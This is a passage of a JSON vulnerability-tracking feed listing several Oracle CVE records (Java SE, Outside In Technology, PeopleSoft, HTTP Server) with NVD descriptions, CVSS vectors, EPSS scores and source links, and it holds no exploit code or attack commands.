fixes.","publishedAt":"2026-10-20T22:20:53.277Z","updatedAt":"2026-10-24T04:18:25.257Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91488","asOf":"2026-10-24T04:18:25.257Z"},"epss":{"probability":0.00133,"percentile":0.02838,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91488&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91488","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91488","type":"primary","publishedAt":"2026-10-20T22:20:53.277Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91488&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91488, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91484","cveId":"CVE-2026-91484","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Java SE (component: Java plugin).","summary":"Vulnerability in Oracle Java SE (component: Java plugin).  Supported versions that are affected are Oracle Java SE: 8u503 and  8u503-perf. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Java SE executes to compromise Oracle Java SE.  While the vulnerability is in Oracle Java SE, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Java SE accessible data as well as  unauthorized access to critical data or complete access to all Oracle Java SE accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 7.5 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N).","detail":"Vulnerability in Oracle Java SE (component: Java plugin).  Supported versions that are affected are Oracle Java SE: 8u503 and  8u503-perf. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Java SE executes to compromise Oracle Java SE.  While the vulnerability is in Oracle Java SE, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Java SE accessible data as well as  unauthorized access to critical data or complete access to all Oracle Java SE accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 7.5 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:52.800Z","updatedAt":"2026-10-24T04:18:24.580Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle","Java"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91484","asOf":"2026-10-24T04:18:24.580Z"},"epss":{"probability":0.00108,"percentile":0.01187,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91484&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91484","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91484","type":"primary","publishedAt":"2026-10-20T22:20:52.800Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91484&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91484, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91483","cveId":"CVE-2026-91483","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).","summary":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Outside In Technology executes to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Outside In Technology executes to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:51.927Z","updatedAt":"2026-10-24T04:18:24.430Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91483","asOf":"2026-10-24T04:18:24.430Z"},"epss":{"probability":0.00242,"percentile":0.15216,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91483&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91483","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91483","type":"primary","publishedAt":"2026-10-20T22:20:51.927Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91483&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91483, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91478","cveId":"CVE-2026-91478","aliases":[],"kind":"vulnerability","title":"Vulnerability in the PeopleSoft Enterprise SCM Strategic Sourcing product of Oracle PeopleSoft (component: Strategic Sourcing).","summary":"Vulnerability in the PeopleSoft Enterprise SCM Strategic Sourcing product of Oracle PeopleSoft (component: Strategic Sourcing).   The supported version that is affected is 9.2. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise SCM Strategic Sourcing.  Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise SCM Strategic Sourcing. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the PeopleSoft Enterprise SCM Strategic Sourcing product of Oracle PeopleSoft (component: Strategic Sourcing).   The supported version that is affected is 9.2. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise SCM Strategic Sourcing.  Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise SCM Strategic Sourcing. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:51.347Z","updatedAt":"2026-10-23T04:18:19.890Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91478","asOf":"2026-10-23T04:18:19.890Z"},"epss":{"probability":0.00433,"percentile":0.37303,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91478&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91478","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91478","type":"primary","publishedAt":"2026-10-20T22:20:51.347Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91478&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91478, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91473","cveId":"CVE-2026-91473","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle HTTP Server product of Oracle Fusion Middleware (component: Web Listener).","summary":"Vulnerability in the Oracle HTTP Server product of Oracle Fusion Middleware (component: Web Listener).   The supported version that is affected is 12.2.1.4.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle HTTP Server executes to compromise Oracle HTTP Server.  Successful attacks of this vulnerability can result in takeover of Oracle HTTP Server. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle HTTP Server product of Oracle Fusion Middleware (component: Web Listener).   The supported version that is affected is 12.2.1.4.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle HTTP Server executes to compromise Oracle HTTP Server.  Successful attacks of this vulnerability can result in takeover of Oracle HTTP Server. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:50.773Z","updatedAt":"2026-10-24T04:18:23.117Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91473","asOf":"2026-10-24T04:18:23.117Z"},"epss":{"probability":0.00135,"percentile":0.02964,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91473&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91473","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91473","type":"primary","publishedAt":"2026-10-20T22:20:50.773Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91473&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91473, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91465","cveId":"CVE-2026-91465","aliases":[],"kind":"vulnerability","title":"Vulnerability in the PeopleSoft Enterprise FIN Common Objects Argentina product of Oracle PeopleSoft (component: Integration).","summary":"Vulnerability in the PeopleSoft Enterprise FIN Common Objects Argentina product of Oracle PeopleSoft (component: Integration).   The supported version that is affected is 9.1. Easily exploitable vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise PeopleSoft Enterprise FIN Common Objects Argentina.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all PeopleSoft Enterprise FIN Common Objects Argentina accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).","detail":"Vulnerability in the PeopleSoft Enterprise FIN Common Objects Argentina product of Oracle PeopleSoft (component: Integration).   The supported version that is affected is 9.1. Easily exploitable vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise PeopleSoft Enterprise FIN Common Objects Argentina.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all PeopleSoft Enterprise FIN Common Objects Argentina accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:50.220Z","updatedAt":"2026-10-24T04:18:22.500Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91465","asOf":"2026-10-24T04:18:22.500Z"},"epss":{"probability":0.00303,"percentile":0.22773,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91465&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91465","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91465","type":"primary","publishedAt":"2026-10-20T22:20:50.220Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91465&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91465, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91460","cveId":"CVE-2026-91460","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Image Export SDK).","summary":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Image Export SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Outside In Technology executes to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Image Export SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Outside In Technology executes to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:49.637Z","updatedAt":"2026-10-24T04:18:21.727Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91460","asOf":"2026-10-24T04:18:21.727Z"},"epss":{"probability":0.00242,"percentile":0.15216,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91460&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91460","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91460","type":"primary","publishedAt":"2026-10-20T22:20:49.637Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91460&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91460, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91459","cveId":"CVE-2026-91459","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Image Export SDK).","summary":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Image Export SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Outside In Technology executes to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Image Export SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Outside In Technology executes to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:49.527Z","updatedAt":"2026-10-24T04:18:21.547Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91459","asOf":"2026-10-24T04:18:21.547Z"},"epss":{"probability":0.00242,"percentile":0.15216,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91459&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91459","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91459","type":"primary","publishedAt":"2026-10-20T22:20:49.527Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91459&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91459, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91458","cveId":"CVE-2026-91458","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).","summary":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Outside In Technology executes to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Outside In Technology executes to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:49.417Z","updatedAt":"2026-10-24T04:18:21.217Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91458","asOf":"2026-10-24T04:18:21.217Z"},"epss":{"probability":0.00125,"percentile":0.02159,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91458&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91458","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91458","type":"primary","publishedAt":"2026-10-20T22:20:49.417Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91458&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91458, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91457","cveId":"CVE-2026-91457","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Image Export SDK).","summary":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Image Export SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Outside In Technology executes to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Image Export SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Outside In Technology executes to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 